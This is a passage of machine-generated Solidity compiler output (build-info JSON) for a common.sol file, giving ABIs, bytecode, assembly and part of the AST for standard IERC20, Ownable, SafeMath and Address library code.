\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/COMMON/common.sol\":\"IERC20\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/COMMON/common.sol\":{\"keccak256\":\"0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9\",\"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo\"]}},\"version\":1}",
"storageLayout": {
"storage": [],
"types": null
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"Ownable": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"evm": {
"assembly": "",
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"legacyAssembly": null,
"methodIdentifiers": {
"owner()": "8da5cb5b",
"transferOwnership(address)": "f2fde38b"
}
},
"metadata": "{\"compiler\":{\"version\":\"0.8.8+commit.dddeac2f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/COMMON/common.sol\":\"Ownable\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/COMMON/common.sol\":{\"keccak256\":\"0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9\",\"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo\"]}},\"version\":1}",
"storageLayout": {
"storage": [
{
"astId": 702,
"contract": "contracts/COMMON/common.sol:Ownable",
"label": "_owner",
"offset": 0,
"slot": "0",
"type": "t_address"
}
],
"types": {
"t_address": {
"encoding": "inplace",
"label": "address",
"numberOfBytes": "20"
}
}
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"SafeMath": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"evm": {
"assembly": " /* \"contracts/COMMON/common.sol\":4286:6594 library SafeMath { ... */\n dataSize(sub_0)\n dataOffset(sub_0)\n 0x0b\n dup3\n dup3\n dup3\n codecopy\n dup1\n mload\n 0x00\n byte\n 0x73\n eq\n tag_1\n jumpi\n mstore(0x00, 0x4e487b7100000000000000000000000000000000000000000000000000000000)\n mstore(0x04, 0x00)\n revert(0x00, 0x24)\ntag_1:\n mstore(0x00, address)\n 0x73\n dup2\n mstore8\n dup3\n dup2\n return\nstop\n\nsub_0: assembly {\n /* \"contracts/COMMON/common.sol\":4286:6594 library SafeMath { ... */\n eq(address, deployTimeAddress())\n mstore(0x40, 0x80)\n 0x00\n dup1\n revert\n\n auxdata: 0xa26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033\n}\n",
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "60566050600b82828239805160001a6073146043577f4e487b7100000000000000000000000000000000000000000000000000000000600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033",
"opcodes": "PUSH1 0x56 PUSH1 0x50 PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH1 0x0 BYTE PUSH1 0x73 EQ PUSH1 0x43 JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST ADDRESS PUSH1 0x0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE 0xD7 DIV PUSH7 0xEDA24EAD639F31 DUP2 SWAP6 EXTCODESIZE ADD STOP SWAP15 GT 0x4D ORIGIN 0xDA 0x4C 0x26 0xC4 MUL BLOCKHASH CALL GT CREATE PUSH16 0x496164736F6C63430008080033000000 ",
"sourceMap": "4286:2308:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE 0xD7 DIV PUSH7 0xEDA24EAD639F31 DUP2 SWAP6 EXTCODESIZE ADD STOP SWAP15 GT 0x4D ORIGIN 0xDA 0x4C 0x26 0xC4 MUL BLOCKHASH CALL GT CREATE PUSH16 0x496164736F6C63430008080033000000 ",
"sourceMap": "4286:2308:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17200",
"executionCost": "97",
"totalCost": "17297"
},
"internal": {
"add(uint256,uint256)": "infinite",
"div(uint256,uint256)": "infinite",
"div(uint256,uint256,string memory)": "infinite",
"mod(uint256,uint256)": "infinite",
"mod(uint256,uint256,string memory)": "infinite",
"mul(uint256,uint256)": "infinite",
"sub(uint256,uint256)": "infinite",
"sub(uint256,uint256,string memory)": "infinite",
"tryAdd(uint256,uint256)": "infinite",
"tryDiv(uint256,uint256)": "infinite",
"tryMod(uint256,uint256)": "infinite",
"tryMul(uint256,uint256)": "infinite",
"trySub(uint256,uint256)": "infinite"
}
},
"legacyAssembly": {
".code": [
{
"begin": 4286,
"end": 6594,
"name": "PUSH #[$]",
"source": 0,
"value": "0000000000000000000000000000000000000000000000000000000000000000"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH [$]",
"source": 0,
"value": "0000000000000000000000000000000000000000000000000000000000000000"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "B"
},
{
"begin": 4286,
"end": 6594,
"name": "DUP3",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "DUP3",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "DUP3",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "CODECOPY",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "DUP1",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "MLOAD",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "BYTE",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "73"
},
{
"begin": 4286,
"end": 6594,
"name": "EQ",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH [tag]",
"source": 0,
"value": "1"
},
{
"begin": 4286,
"end": 6594,
"name": "JUMPI",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "4E487B7100000000000000000000000000000000000000000000000000000000"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "MSTORE",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "4"
},
{
"begin": 4286,
"end": 6594,
"name": "MSTORE",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "24"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "REVERT",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "tag",
"source": 0,
"value": "1"
},
{
"begin": 4286,
"end": 6594,
"name": "JUMPDEST",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "ADDRESS",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "MSTORE",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "73"
},
{
"begin": 4286,
"end": 6594,
"name": "DUP2",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "MSTORE8",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "DUP3",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "DUP2",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "RETURN",
"source": 0
}
],
".data": {
"0": {
".auxdata": "a26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033",
".code": [
{
"begin": 4286,
"end": 6594,
"name": "PUSHDEPLOYADDRESS",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "ADDRESS",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "EQ",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "80"
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "40"
},
{
"begin": 4286,
"end": 6594,
"name": "MSTORE",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 4286,
"end": 6594,
"name": "DUP1",
"source": 0
},
{
"begin": 4286,
"end": 6594,
"name": "REVERT",
"source": 0
}
]
}
}
},
"methodIdentifiers": {}
},
"metadata": "{\"compiler\":{\"version\":\"0.8.8+commit.dddeac2f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/COMMON/common.sol\":\"SafeMath\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/COMMON/common.sol\":{\"keccak256\":\"0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9\",\"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo\"]}},\"version\":1}",
"storageLayout": {
"storage": [],
"types": null
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
}
}
},
"sources": {
"contracts/COMMON/common.sol": {
"ast": {
"absolutePath": "contracts/COMMON/common.sol",
"exportedSymbols": {
"Address": [
316
],
"Context": [
698
],
"IERC20": [
679
],
"Ownable": [
787
],
"SafeMath": [
612
]
},
"id": 788,
"license": "MIT",
"nodeType": "SourceUnit",
"nodes": [
{
"id": 1,
"literals": [
"solidity",
"^",
"0.8",
".8"
],
"nodeType": "PragmaDirective",
"src": "33:23:0"
},
{
"abstract": false,
"baseContracts": [],
"contractDependencies": [],
"contractKind": "library",
"fullyImplemented": true,
"id": 316,
"linearizedBaseContracts": [
316
],
"name": "Address",
"nameLocation": "68:7:0",
"nodeType": "ContractDefinition",
"nodes": [
{
"body": {
"id": 14,
"nodeType": "Block",
"src": "152:50:0",
"statements": [
{
"expression": {
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 12,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"expression": {
"expression": {
"id": 8,
"name": "account",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "171:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 9,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "code",
"nodeType": "MemberAccess",
"src": "171:12:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"id": 10,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "length",
"nodeType": "MemberAccess",
"src": "171:19:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">",
"rightExpression": {
"hexValue": "30",
"id": 11,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "193:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
"src": "171:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"functionReturnParameters": 7,
"id": 13,
"nodeType": "Return",
"src": "164:30:0"
}
]
},
"id": 15,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "isContract",
"nameLocation": "95:10:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 4,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 3,
"mutability": "mutable",
"name": "account",
"nameLocation": "114:7:0",
"nodeType": "VariableDeclaration",
"scope": 15,
"src": "106:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 2,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "106:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "105:17:0"
},
"returnParameters": {
"id": 7,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 6,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 15,
"src": "146:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 5,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "146:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
}
],
"src": "145:6:0"
},
"scope": 316,
"src": "86:116:0",
"stateMutability": "view",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 47,
"nodeType": "Block",
"src": "281:246:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 29,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"expression": {
"arguments": [
{
"id": 25,
"name": "this",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 4294967268,
"src": "308:4:0",
"typeDescriptions": {
"typeIdentifier": "t_contract$_Address_$316",
"typeString": "library Address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_contract$_Address_$316",
"typeString": "library Address"
}
],
"id": 24,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "300:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": {
"id": 23,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "300:7:0",
"typeDescriptions": {}
}
},
"id": 26,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "300:13:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 27,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "balance",
"nodeType": "MemberAccess",
"src": "300:21:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">=",
"rightExpression": {
"id": 28,
"name": "amount",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 19,
"src": "325:6:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "300:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "416464726573733a20696e73756666696369656e742062616c616e6365",
"id": 30,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "333:31:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9",
"typeString": "literal_string \"Address: insufficient balance\""
},
"value": "Address: insufficient balance"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9",
"typeString": "literal_string \"Address: insufficient balance\""
}
],
"id": 22,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "292:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 31,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "292:73:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 32,
"nodeType": "ExpressionStatement",
"src": "292:73:0"
},
{
"assignments": [
34,
null
],
"declarations": [
{
"constant": false,
"id": 34,
"mutability": "mutable",
"name": "success",
"nameLocation": "384:7:0",
"nodeType": "VariableDeclaration",
"scope": 47,
"src": "379:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 33,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "379:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
null
],
"id": 41,
"initialValue": {
"arguments": [
{
"hexValue": "",
"id": 39,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "427:2:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"typeString": "literal_string \"\""
},
"value": ""
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"typeString": "literal_string \"\""
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"typeString": "literal_string \"\""
}
],
"expression": {
"id": 35,
"name": "recipient",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 17,
"src": "397:9:0",
"typeDescriptions": {
"typeIdentifier": "t_address_payable",
"typeString": "address payable"
}
},
"id": 36,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "call",
"nodeType": "MemberAccess",
"src": "397:14:0",
"typeDescriptions": {
"typeIdentifier": "t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "function (bytes memory) payable returns (bool,bytes memory)"
}
},
"id": 38,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"names": [
"value"
],
"nodeType": "FunctionCallOptions",
"options": [
{
"id": 37,
"name": "amount",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 19,
"src": "419:6:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"src": "397:29:0",
"typeDescriptions": {
"typeIdentifier": "t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value",
"typeString": "function (bytes memory) payable returns (bool,bytes memory)"
}
},
"id": 40,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "397:33:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "tuple(bool,bytes memory)"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "378:52:0"
},
{
"expression": {
"arguments": [
{
"id": 43,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 34,
"src": "449:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564",
"id": 44,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "458:60:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae",
"typeString": "literal_string \"Address: unable to send value, recipient may have reverted\""
},
"value": "Address: unable to send value, recipient may have reverted"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae",
"typeString": "literal_string \"Address: unable to send value, recipient may have reverted\""
}
],
"id": 42,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "441:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 45,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "441:78:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 46,
"nodeType": "ExpressionStatement",
"src": "441:78:0"
}
]
},
"id": 48,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "sendValue",
"nameLocation": "219:9:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 20,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 17,
"mutability": "mutable",
"name": "recipient",
"nameLocation": "245:9:0",
"nodeType": "VariableDeclaration",
"scope": 48,
"src": "229:25:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address_payable",
"typeString": "address payable"
},
"typeName": {
"id": 16,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "229:15:0",
"stateMutability": "payable",
"typeDescriptions": {
"typeIdentifier": "t_address_payable",
"typeString": "address payable"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 19,
"mutability": "mutable",
"name": "amount",
"nameLocation": "264:6:0",
"nodeType": "VariableDeclaration",
"scope": 48,
"src": "256:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 18,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "256:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "228:43:0"
},
"returnParameters": {
"id": 21,
"nodeType": "ParameterList",
"parameters": [],
"src": "281:0:0"
},
"scope": 316,
"src": "210:317:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 64,
"nodeType": "Block",
"src": "624:98:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 58,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 50,
"src": "664:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 59,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 52,
"src": "672:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"hexValue": "30",
"id": 60,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "678:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
{
"hexValue": "416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564",
"id": 61,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "681:32:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df",
"typeString": "literal_string \"Address: low-level call failed\""
},
"value": "Address: low-level call failed"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
{
"typeIdentifier": "t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df",
"typeString": "literal_string \"Address: low-level call failed\""
}
],
"id": 57,
"name": "functionCallWithValue",
"nodeType": "Identifier",
"overloadedDeclarations": [
103,
146
],
"referencedDeclaration": 146,
"src": "642:21:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bytes memory,uint256,string memory) returns (bytes memory)"
}
},
"id": 62,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
